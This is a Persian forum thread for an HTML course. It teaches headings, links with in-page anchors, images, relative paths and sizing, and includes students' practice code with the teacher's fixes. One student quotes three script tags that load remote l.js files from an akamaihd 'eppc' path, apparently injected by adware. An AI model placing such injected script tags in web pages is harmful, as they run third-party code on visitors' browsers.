سلام! خب بالاخره شروع شد!
با اولین جلسه از آموزش اچ تی ام ال در خدمت شما هستیم!
خب با اجازه بزرگان جمع بریم سر اصل مطلب!:
اول از همه چند نکته بگم:
1- از پرسیدن هیچ سوالی نترسید! بترسید می کشمتون! هر کسی هم که کسیو تو کلاس من() مسخره کنه می کشمش!
2- اگه دوس داشتین خوب یاد بگیرین تمرین هایی که میگم رو انجام بدین تا خوب درک کنین مسائل رو... این تمرین ها با عنوان "

خودتان تمرین کنید:

" قرار داده خواهد شد!
3- امیدوارم معلم خوبی باشم! و بتونم سوالاتتون رو جواب بدم!

جلسات:

جلسه اول: تاریخچه، ساختار کلی و تگ P
جلسه ی دوم: تگ های img , a, h
جلسه ی سوم: معرفی خواص

تگ ها

جلسه ی چهارم: معرفی استایل

جلسه ی پنجم: تگ های مربوط به شخصی سازی متن و کامنت ها

جلسه ی ششم: توضیحی بر سی اس اس!

جلسه ی هفتم: لیست ها

نوشته اصلی توسط Moahedeh

توی سایتی که علیرضا معرفی کرد، توی تگ بادی یه سری تگ دیگه هم هست به صورت پیش فرض خودش که هرچی من لا به لاش چیز میز نوشتم چیزی نشون نداد. اون چیه؟

من الان اون لینکو نگاه کردم. کدوم تگو میگی؟ نام ببر تا بگم.

+ "به عنوان مثال یکی از بارز ترین کاربرد های تگ head اینه که شما میتونید کلید واژه هایی که تو صفحه تون هستن رو وارد کنین. گوگل می گرده توی کلید واژه های سایت ها و چیز سرچ شده رو پیدا می کنه!"
اینی که گفتی یعنی چی؟
این کار با استفاده از تگ meta انجام میشه. همیشه از یه سری کلید واژه برای معرفی یه موضوع یا متن استفاده میشه. از اونجایی که موتور های جست و جو اول کلیدواژه ها رو میگردن، اگه شما برای صفحتون کلیذواژه تعریف کرده باشید راحت تر توسط موتور های جست و جو شناسایی میشه و باعث میشه که صفحه شما هم بالاتر نمایش داده بشه. در مورد توی head بودنشم. هر تگی میتونه تو هد به کار بره، اصلا head و Body رو ننویسی هیچ اروری به شما نمیده. اما وقتی که هد میاد توش برای پیشنیاز های صفحه استفاده میشه. به خاطر همین تگ هایی مثل title, meta و یا حتی بخش جاوا اسکریپت صفحه هم معمولا تو هد نوشته میشه.

امیدوارم کافی بوده باشه. نبود، بپرس!

نوشته اصلی توسط Cyrus-The-Great

امیدوارم کافی بوده باشه. نبود، بپرس!

این تگ ها. جاوا اسکریپت و اینا. و توی بادی نوشته شدن نه توی هد!
<script type="text/javascript" src="https://cdncache-a.akamaihd.net/sub/y8e553e/eppc/l.js?pid=2241&ext=EppInk"></script><script type="text/javascript" src="https://cdncache-a.akamaihd.net/sub/y8e553e/eppc/l.js?pid=2264&ext=EppInk"></script><script type="text/javascript" src="https://cdncache-a.akamaihd.net/sub/y8e553e/eppc/l.js?pid=2265&ext=EppInk"></script>

خب گفته بودم این جلسه به تگ های مربوط به متن می پردازیم! دروغ گفتم!نظرم عوض شد!
میریم سراغ یه سری تگ که خیلی کاربردی و خیلی مورد استفاده هستن:
تگ های مربوط به تیتر:
شش تگ h1 تا h6 تگ هایی هستن که برای تیتر به کار میرن.

کد HTML:

<h1>This is a heading</h1>
<h2>This is a heading</h2>
<h3>This is a heading</h3>

تگ h1 بزرگترین تیتر و h6 کوچکترینه.
هر چیزی که بینشون بزارین به سادگی تبدیل به یه تیتر میشه.خودتون امتحان کنید می فهمید.
البته نیازی نیست بگم که این تگ ها برای قسمت head نیست بلکه برای body هست.هر تگی که مربوط به ظاهر صفحه است باید در body نوشته بشه.(البته فعلا!)
لینک:
مطمئنا تو صفحه تون جا هایی هست که می خواید بهشون ارجاع بدین.
از سایت های دیگه گرفته تا جا های دیگه توی سایت خودتون یا حتی جا های دیگه توی همین صفحه.
لینک های HTML با تگ <a> شناخته میشن.

کد HTML:

<a href="http://www.google.com">This is a link to google!</a>

شما میتونید هر آدرس url ای که بخواید توی خاصیت href وارد کنید!
href یه خصوصیت از تگ a هست که معلوم می کنه می خوایم با کلیک بر روی این لینک به کجا بریم.
حالا لینکی که داخل یه صفحه ما رو جا به جا می کنه:

کد HTML:

<a name="maghsad">مقصد</a>
<a href="#maghsad">مبدا</a>

جایی که مقصدمون هست ما باید یه اسم براش بزاریم تا بتونیم بعدا بهش آدرس بدیم.
پس خصوصیت name تگ a رو در جایی که می خوایم به اونجا بریم وارد می کنیم.
هر اسمی که می خواید می تونید بزارید ولی خب من اسمش رو گذاشتم "maghsad".
حالا همونطور که گفتم بهش ارجاع میدیم. البته یه نکته هست اینکه توی خاصیت href باید بنویسید: "maghsad#"
یعنی اسم تگ a مقصد به علاوه ی یک # پشت سرش. این کار برای اینه که مرورگر بفهمه این یه شناسه است و باید داخل صفحه دنبال این اسم بگرده.
یه مثال از لینک داخلی رو بار ها مشاهده کردید.
خیلی سایت ها که میرید می بینید وقتی پایین صفحه هستید یه لینکی بهتون میگه "برو بالا" !!!
که اگه روش کلیک کنید میرید بالای صفحه!
در ضمن مبدا و مقصد می تونن هر جایی از صفحه باشن.
عکس:
خب برای نشون دادن عکس توی فایل html از تگ <img>استفاده میشه.

کد HTML:

<img src="image1.jpg"  width="104" height="142">

خب3 تا خصوصیت می بینید که برای این عکس تعریف شدن.
خصوصیت src که مخفف source هست مکان و محل عکسمون رو مشخص می کنه.
خب اینجا لازمه در مورد آدرس دهی حرف هایی رو بزنم:

ما دو نوع آدرس دهی داریم:مطلق و نسبی.
ادرس دهی مطلق به آدرس دهی ای میگن که ما توش از url استفاده می کنیم و آدرس جهانی اون عکس رو روی یه هاست میدیم مثال:
https://www.pioneer-life.ir/images/fluent/logo.png
آدرس دهی نسبی به آدرس دهی ای میگن که نسبت به مکان فایل html مون داده میشه. یعنی فرض کنید ما الان توی پوشه ی "html file's" هستیم.و در فایل "index.html" قرار داریم.
عکسمون هم توی پوشه ی "Image file's" در پوشه ی"My Site" و در کنار پوشه ی "html file's" قرار داره. بزارید بهتر بگم:
آدرس فایل اچ تی ام المون:
My Site/html file's/index.html
ادرس عکسمون:
My Site/Image file's/image1.jpg
حالا میخوایم از جایی که فایل اچ تی ام المون هست به سراغ عکسمون بریم:
Image file's/image1.jpg/..
"/.." برای خروج از پوشه ی فعلی
"/Image file's" برای ورود به این پوشه
و "Image1.jpg" برای انتخاب فایل هست.
پس به راحتی می تونید با "/.." از یک پوشه خارج و با "/" وارد یک پوشه بشید.
آدرس دهی نسبی در اکثر موارد راحت تر هست پس از این آدرس دهی استفاده می کنیم.

خب حالا می خوایم خاصیت src رو برای عکسمون مشخص کنیم.
می بینید که نه از "/.." خبری هست و نه از "/" !
این یعنی فایل عکسمون توی همون پوشه ای هست که فایل html مون هست. و ما اون رو انتخاب کردیم.
خصوصیت دیگه ای که دیده می شه width هست که معنای طول میده و بعدی هم height به معنای ارتفاع.
حالا چطور این ها مشخص میشن:

خب برای مشخص کردن اندازه توی فایل های html می تونیم از دو روش استفاده کنیم:پیکسلی و درصدی.
روش پیکسلی که خیلی ساده است و شما می تونید یه عدد به اون خاصیت نسبت بدید و مرورگر اون عدد رو پیکسل فرض می کنه و خاصیت رو با اون تعداد پیکسل نشون میده.
روش درصدی هم خیلی سادست( )!
شما در مقابل خصوصیت اندازه یه درصد قرار میدید مثلا "50%" و این یعنی میخوام عکسم طولش یا عرضش نصف جایی باشه که توش هست.
مثلا الان میشه نصف صفحمون.

خب همونطور که می بینید طول و عرض اینجا به صورت پیکسلی داده شدن.
همین دیگه تگ img هم تموم شد!
و البته جلسه ی دوممون هم تموم شد!
هر چیزی رو کم فهمیدید، خوب نفهمیدید ویا اصلا نفهمیدید بپرسید!
منتظرم!
دوستان اگه اشتباهی هم دیدن توی آموزش بگن تا ویرایش کنم!

نوشته اصلی توسط HELT

حالا لینکی که داخل یه صفحه ما رو جا به جا می کنه:

کد HTML:

<a name="maghsad">مقصد</a>
<a href="#maghsad">مبدا</a>

جایی که مقصدمون هست ما باید یه اسم براش بزاریم تا بتونیم بعدا بهش آدرس بدیم.
پس خصوصیت name تگ a رو در جایی که می خوایم به اونجا بریم وارد می کنیم.
هر اسمی که می خواید می تونید بزارید ولی خب من اسمش رو گذاشتم "maghsad".
حالا همونطور که گفتم بهش ارجاع میدیم. البته یه نکته هست اینکه توی خاصیت href باید بنویسید: "maghsad#"
یعنی اسم تگ a مقصد به علاوه ی یک # پشت سرش. این کار برای اینه که مرورگر بفهمه این یه شناسه است و باید داخل صفحه دنبال این اسم بگرده.

ابراهیم نمیدونم چرا هرکاری کردم این رو نتونستم دست از آب در بیارم. از کجا بدونم وقتی روی مبدا توی مرورگر کلیک میکنم ، مقصد رو پیدا کرده؟

نوشته اصلی توسط HELT

عکس:
خب برای نشون دادن عکس توی فایل html از تگ <img>استفاده میشه.

کد HTML:

<img src="image1.jpg"  width="104" height="142">

خب3 تا خصوصیت می بینید که برای این عکس تعریف شدن.
خصوصیت src که مخفف source هست مکان و محل عکسمون رو مشخص می کنه.
خب اینجا لازمه در مورد آدرس دهی حرف هایی رو بزنم:

ما دو نوع آدرس دهی داریم:مطلق و نسبی.
ادرس دهی مطلق به آدرس دهی ای میگن که ما توش از url استفاده می کنیم و آدرس جهانی اون عکس رو روی یه هاست میدیم مثال:
https://www.pioneer-life.ir/images/fluent/logo.png
آدرس دهی نسبی به آدرس دهی ای میگن که نسبت به مکان فایل html مون داده میشه. یعنی فرض کنید ما الان توی پوشه ی "html file's" هستیم.و در فایل "index.html" قرار داریم.
عکسمون هم توی پوشه ی "Image file's" در پوشه ی"My Site" و در کنار پوشه ی "html file's" قرار داره. بزارید بهتر بگم:
آدرس فایل اچ تی ام المون:
My Site/html file's/index.html
ادرس عکسمون:
My Site/Image file's/image1.jpg
حالا میخوایم از جایی که فایل اچ تی ام المون هست به سراغ عکسمون بریم:
Image file's/image1.jpg/..
"/.." برای خروج از پوشه ی فعلی
"/Image file's" برای ورود به این پوشه
و "Image1.jpg" برای انتخاب فایل هست.
پس به راحتی می تونید با "/.." از یک پوشه خارج و با "/" وارد یک پوشه بشید.
آدرس دهی نسبی در اکثر موارد راحت تر هست پس از این آدرس دهی استفاده می کنیم.

خب حالا می خوایم خاصیت src رو برای عکسمون مشخص کنیم.
می بینید که نه از "/.." خبری هست و نه از "/" !
این یعنی فایل عکسمون توی همون پوشه ای هست که فایل html مون هست. و ما اون رو انتخاب کردیم.

این الان درسته؟
<img src="../FaMa.jpeg" width="33%" height="50%">
من اینو زدم ولی عکس رو توی مرورگر نشون نداد. :/
جاشم درسته.


+راستی! عکس از اون تگ هاییه ک نیازی به بسته شدن نداره!

نوشته اصلی توسط Moahedeh

ابراهیم نمیدونم چرا هرکاری کردم این رو نتونستم دست از آب در بیارم. از کجا بدونم وقتی روی مبدا توی مرورگر کلیک میکنم ، مقصد رو پیدا کرده.
ببین اگه کار هایی رو که گفتم انجام بدی مرورگر می فهمه مقصدت کجاست. فقط حواست باشه که برای مقصد باید name تعریف کنی و خاصیت href مبدا رو برابر با "name#" بزاری.
حالا فرقی نمی کنه که مقصد بالای مبدا باشه یا پایینش چون مرورگر یک بار کل فایل html تو رو می خونه و چک می کنه.



این الان درسته؟
<img src="../FaMa.jpeg" width="33%" height="50%"> یدونه ( " ) اضافه داره! قبل از img 0_o و البته باید دقت کنی که عکست بیرون از فولدری که فایل html ات هست باشه.
من اینو زدم ولی عکس رو توی مرورگر نشون نداد. :/
جاشم درسته.


+راستی! عکس از اون تگ هاییه ک نیازی به بسته شدن نداره! عه راست می گی! آورین دخترم! حواست جمع بود!

سوال بعععععععععدددددددد!
راستی نفهمیدی دوباره بپرس!

- - - - - - - - - به دلیل ارسال پشت سر هم پست ها ادغام شدند - - - - - - - - -

آها یه چیز دیگه! پسوند فایلتو عوض کن و بنویس jpg!

نوشته اصلی توسط moonlightsky

استاد جان ببین درست متوجه شدم البته یه سوال اساسی هم دارم
اول اینکه فهمیدم اون h ها دقیقا مثل هدینگ گذاری توی ورد عمل میکنن که مثلا فصل داریم بعد زیر فصل و بعد زیر بخشای اونا به خاطر همین اینجوری نوشتم اینم شکل کارش: دقیقا درسته




بعد لینک دهی رو تمرین کردم و لینک ویکی پدیا برای معرفی گرما رو گذاشتم اینجوری شد:

<p>baraye etelaat bishtar raje be garma moraje konid be:</p>
<p><a href="https://fa.wikipedia.org/wiki/%DA%AF%D8%B1%D9%85%D8%A7">This is a link to wikipedia!</a></p>

بعد لینک دهی تو صفحه رو تمرین کردم برای رفتن از پایین صفحه به فصل ا اینجوری شد.

که کد نام گذاریم شد:

<a name="bala"><h1>fasl 1: enteghal harat</h1></a>

کد آخر صفحم که میخواد منتقل کنه شد:

<a href="#bala">boro be fasl 1</a>

بعد شکل دهی رو تمرین کردم اینجوری شد:



کد هاش هم شد:

<a name="bala"><h1>fasl 1: enteghal harat</h1></a>
<img src="tasvir.jpg" width="%30" height="%30">



<h2>1-1: garma</h2>

<img src="../image/tasvir2.jpg" width="200" height="132">

اما یه مشکل اساسی توی تعریف به حالت درصدی هر کاری کردم عکس اولیه سایزش تغییر نکرد. چی کار کنم؟
جای درصدت رو عوض کن بیارش اینور اعداد. ببخشید متن راست چین بود اینجوری شد. بنویس:

کد:

width="50%"

- - - - - - - - - به دلیل ارسال پشت سر هم پست ها ادغام شدند - - - - - - - - -

اینم کل کد هام میشه ببینی درسته:

<html>

<head>
<title>kar dovom</title>
</head>

<body>
<a name="bala"><h1>fasl 1: enteghal harat</h1></a>
<img src="tasvir.jpg" width="%30" height="%30">

<h2>1-1: garma</h2>
<img src="../image/tasvir2.jpg" width="200" height="132">
<p>garma chist</p>
<p>tozihat</p>

<h2>1-2: enteghal garma</h2>
<p>enteghal garma chist</p>
<p>tozihat</p>

<h3>1-2-1: ravesh haye enteghal garma</h3>
<p>ravesh haye enteghal garma kodamand</p>
<p>tozihat</p>

<h4>1-2-1-1: jabejayi</h4>
<p> jabejayi chist</p>
<p>tozihat</p>

<h4>1-2-1-2:hamraft</h4>
<p>hamraft chist</p>
<p>tozihat</p>

<h4>1-2-1-3: resanesh</h4>
<p>resanesh chist</p>
<p>tozihat</p>
<p>baraye etelaat bishtar raje be garma moraje konid be:</p>
<p><a href="https://fa.wikipedia.org/wiki/%DA%AF%D8%B1%D9%85%D8%A7">This is a link to wikipedia!</a></p>

<a href="#bala">boro be fasl 1</a>
</body>

</html>

بقیه ی چیز ها درست بود! آفرین که انقد وقت میزاری و از سرت باز نمی کنی!

<html>

<head>
<title> Go Google </title>
</head>

<body>

<h1>Go Google</h1>

<a href="http://www.google.com">Go</a>

<img src="image1.jpg" width="500" height="142">

</body>

</html>

این کدهام.

منتها من هنوزم با این قسمت مشکل دارم

نوشته اصلی توسط HELT

حالا لینکی که داخل یه صفحه ما رو جا به جا می کنه:

کد HTML:

<a name="maghsad">مقصد</a>
<a href="#maghsad">مبدا</a>

جایی که مقصدمون هست ما باید یه اسم براش بزاریم تا بتونیم بعدا بهش آدرس بدیم.
پس خصوصیت name تگ a رو در جایی که می خوایم به اونجا بریم وارد می کنیم.
هر اسمی که می خواید می تونید بزارید ولی خب من اسمش رو گذاشتم "maghsad".
حالا همونطور که گفتم بهش ارجاع میدیم. البته یه نکته هست اینکه توی خاصیت href باید بنویسید: "maghsad#"
یعنی اسم تگ a مقصد به علاوه ی یک # پشت سرش. این کار برای اینه که مرورگر بفهمه این یه شناسه است و باید داخل صفحه دنبال این اسم بگرده.
یه مثال از لینک داخلی رو بار ها مشاهده کردید.
خیلی سایت ها که میرید می بینید وقتی پایین صفحه هستید یه لینکی بهتون میگه "برو بالا" !!!
که اگه روش کلیک کنید میرید بالای صفحه!
در ضمن مبدا و مقصد می تونن هر جایی از صفحه باشن.

توی همین کد اگه مثلا میخوام ببرم بالا صفحه رو دقیقا باید چی بنویسم؟

نوشته اصلی توسط narsisa

<html>

<head>
<title> Go Google </title>
</head>

<body>

<h1>Go Google</h1>

<a href="http://www.google.com">Go</a>

<img src="image1.jpg" width="500" height="142">

</body>

</html>

این کدهام.

منتها من هنوزم با این قسمت مشکل دارم



توی همین کد اگه مثلا میخوام ببرم بالا صفحه رو دقیقا باید چی بنویسم؟

ببین آموزش واقعن واضحه!
تو می خوای بری یه جایی از صفحه ات خب؟! فرض کن مثلا تو همین تاپیک
می خوای بری سراغ آموزش جلسه ی دوم
باید اونجا یه چیزی مشخص کنی یه اسمی شناسه ای چیزی که مرورگر بفهمه لینکت رو می خوای به اونجا ارجاع بدی
وقتی توی خاصیت href یه "#" می نویسی مرورگر می فهمه که تو میخوای به یه چیزی توی صفحه ارجاع بدی و می گرده دنبال اسمی که بعد از "#" اومده.
و اون تگ a رو که اسمش اومده نشون میده.
تو هم باید چیزای زیر رو به فایلت اضافه کنی :

کد HTML:

<a name="1">مقصد</a>
<a href="#1">مبدا</a>

هر حایی که دوست داشتی مقصد و هر جایی که دوست داشتی مبدات.